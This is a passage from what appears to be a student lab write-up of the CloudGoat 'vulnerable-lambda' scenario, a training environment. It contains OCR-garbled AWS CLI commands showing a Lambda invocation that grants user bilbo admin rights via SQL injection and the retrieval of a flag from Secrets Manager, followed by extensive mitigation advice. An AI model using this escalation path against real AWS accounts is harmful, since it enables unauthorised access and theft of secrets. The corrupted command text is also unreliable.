Py\", line 30, in handler\n  response = iam_client.attach_user_policy(\n*, = File \" /var/runtlme/hntncnre/cllen
*, Line 602, in _api_call\n  return self._make_api_ call(nperatlun nane, kuargs)\n", " File \"/var/runtine/
botocore/context py\"; line 123, in wrapper\n  return func(sargs, *kuargs)\n", " File \"/var/runtine/botocore/
client.py\", line 1078, in _make_api_call\n  raise error_class(parsed_response, operation_name)\n"1}

payload. json
sts get-caller-identity bilbo
"UserId": "AIDAZBWGBKYBR6XBQL67M"

“Account': "62211183 9747",
"Arn”: "arn:aws:iam:: 622111839747:user/cg-bilbo-cgidgs245spuvi®

payload. json

assuned_role us-east-1 lanbda invoke cgidgs245spuvi-policy_applier_lamb
rau-in-base64-out File: //./payload. json out.txt

"StatusCode": 200
“Executedversion’: "$LATEST"

out. tx
“ALL managed policies were applied as expected.

B Ok G ¥ METE @B rRoht Ctrl
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10. Use Admin Privileges to Retrieve the Secret
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Now that bilbo has admin rights, we can access AWS Secrets Manager to retrieve the stored
secret.

Command used to List all secrets stored in AWS Secrets Manager: aws --profile bilbo --region

us-east-1 secretsmanager list-secrets

Ed
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assuned_role us-east-1 lambda invoke cgidgs245spuvi-policy_applier_lamb
da1 rau-in-base64-out file://./payload. json out.txt

"StatusCode”: 200,
“ExecutedVersion”: "$LATEST"

out.txt
"AlL managed policies were applied as expected.”

bilbo us-east-1 secretsmanager list-secrets

"secretlist": [
{

"ARN": "arn:aws:secretsmanager:us-east-1:622111839747 :secret: cgidgs245spuvi-Final_flag-cNypho”,
“Name”: "cgidgs245spuvi-final_flaf
"LastChangedDate" : "
"LastAccessedDate”: "
"Tags": [
{

"Key": "Name",
"Value": "cg-cgidgs245spuvi”
"Key": "Scenario!

"Value": "vulnerable-lanbda”

"Key": "Stack”,
"Value": "CloudGoat"

"SecretVersionsTostages”: {
" terraforn-20251210161309874500000002" : [
"AWSCURRENT"

h
"CreatedDate”: "2025-12-10T19:13:06.802000+03:00"

payload. json

bilbo us-east-1 secretsmanager list-secretsl

B 0N IFeNErTE @D rghtcr
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- To Retrieve the value of a specific secret

aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id
[ARN_OF_TARGET_SECRET]

23



=
7
File Machine View Input Devices Help

BomPoO|[1 23 4[®F]

OO a 1:30 \ a CG
n3vIL3@neville: ~
Session Actions Edit View Help

"Key": "Name",
"Value: "cg-cgidgs245spuvi”

"Key": "Scenario”,
“Value": “vulnerable-lanbda"

"Key": "Stack”,
"Value": "CloudGoat"

1,
"SecretversionsTostages”: {
"terraform-20251210161309874500000002": [
"AWSCURRENT"

h
"CreatedDate”: "2025-12-10T19:13:06.802000+03:00"

payload. json

payload. json
bilbo us-east-1 secretsmanager get-secret-value

bilbo us-east-1 secretsmanager get-secret-value arn:aws:secretsmanager:us-e
ast-1:622111839747:secret : cgidgs245spuvi-final_flag-cNypMo
{
": "arn:aws:secretsmanager:us-east-1:622111839747:secret: cgidgs245spuvi-final_flag-chyphe”,
": "cgidgs245spuvi-final _flag”

“Versionld": "terraform-20251210161309874500000002",
"SecretString”: "cg-secret-846237-284529",
"Versionstages™: [

* AWSCURRENT"

"CreatedDate”: "2025-12-10T19:13:09.452000+03:00"

B oI MOrTE & arightcul
e = 7 ) PF ENG 0130 [ ]

The Secret string we are looking for is: cg-secret-846237-284529

Security strategies proposed to mitigate the risks

associated with the lambda function

1. Fix the Lambda Function Code (Most Critical)
a. Prevent SQL Injection

e Use parameterized queries instead of string concatenation:

SELECT policy_name FROM policies WHERE policy_name = ? AND public

= True

e Sanitise all user inputs.
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b. Validate Input Strictly

e Restrict allowed policy names to a known safe list.
e Enforce strict JSON schema validation for:
o policy_names (must be an array of known values)

o user_name (must match IAM username regex)

c. Never Trust User Inputs

e Forbid user-controlled fields from influencing IAM privilege-granting logic.

2. Least Privilege IAM Practices

a. Remove Wildcards (“*")

e Theroleallowed arn:aws:iam: :<account>:role/cg-lambda-invoker¥*

— This enables privilege escalation.

Replace with specific ARNs:

"Resource":

"arn:aws:iam: :ACCOUNT_ID:role/cg-lambda-invoker-cgidgs245spuvi”

b. Restrict IAM Permissions
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Remove overly broad permissions like:

e iam:Get*

e diam:List*

These leak sensitive information and should be minimized.

. Block iam:PassRole Unless Required

Ensure no low-privilege user can pass powerful roles to Lambda.

3. Secure Lambda Execution Environment

a. Use IAM Roles for Lambda Properly

e Give the Lambda only the exact permissions it needs (principle of least privilege).

e Remove permissions to attach arbitrary IAM policies to users.

b. Enable Environment Variable Encryption

e Use KMS to encrypt DB credentials, APl keys, etc.

c. Enable AWS Lambda Logging

e Turn on CloudWatch Logs for:

o function invocations

26



o error reporting

o unexpected API calls

4. APl Gateway / Event Input Hardening

If the Lambda is triggered through an APl Gateway or event:

a. Enable Input Validation on APl Gateway

e Use request validation

e Reject malformed or malicious payloads BEFORE reaching Lambda

b. Apply Throttling and Rate Limits

Prevents brute force or automated exploitation attempts.

5. Network and Infrastructure Protections

a. Place Lambda in a VPC (If Needed)

Limit exposure and give control via:

e Security Groups

e Route Tables

27



b. Restrict Access to the Database

The vulnerable example used a SQL DB:

e Use VPC-bound RDS with no public access

e Enable IAM authentication

e Use parameterized queries

6. Monitoring, Detection & Alerts

a. Enable GuardDuty

Detects:

e Privilege escalation
e |AM anomalies

e Suspicious STS usage

b. Use CloudTrail for Auditing

Generate alerts for:

e AssumeRole calls

e Policy changes

28



e Creation of Admin policies

c. Use AWS Config Rules

Detect misconfigured Lambda functions, overly permissive roles, etc.

7. Apply CI/CD + Code Review Practices

e Deploy Lambda via version control
e Use automated code scanning (Bandit for Python, etc.)

e Perform peer review for IAM policy changes
Conclusion

This CloudGoat scenario demonstrates how insecure serverless applications can be

exploited when:

e |AM permissions are overly broad
e Lambda functions do not validate or sanitize input

e Privilege escalation paths are unintentionally exposed

The vulnerable Lambda function suffered from a classic SQL injection flaw, allowing me to
bypass policy restrictions and escalate bilbo’s privileges to an administrator. With admin

access, retrieving the stored secret became trivial.
This exercise reinforced the importance of:

1. Proper input sanitization
2. Least privilege IAM configurations

3. Avoiding wildcard permissions
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4. Securing Lambda functions and validating event input
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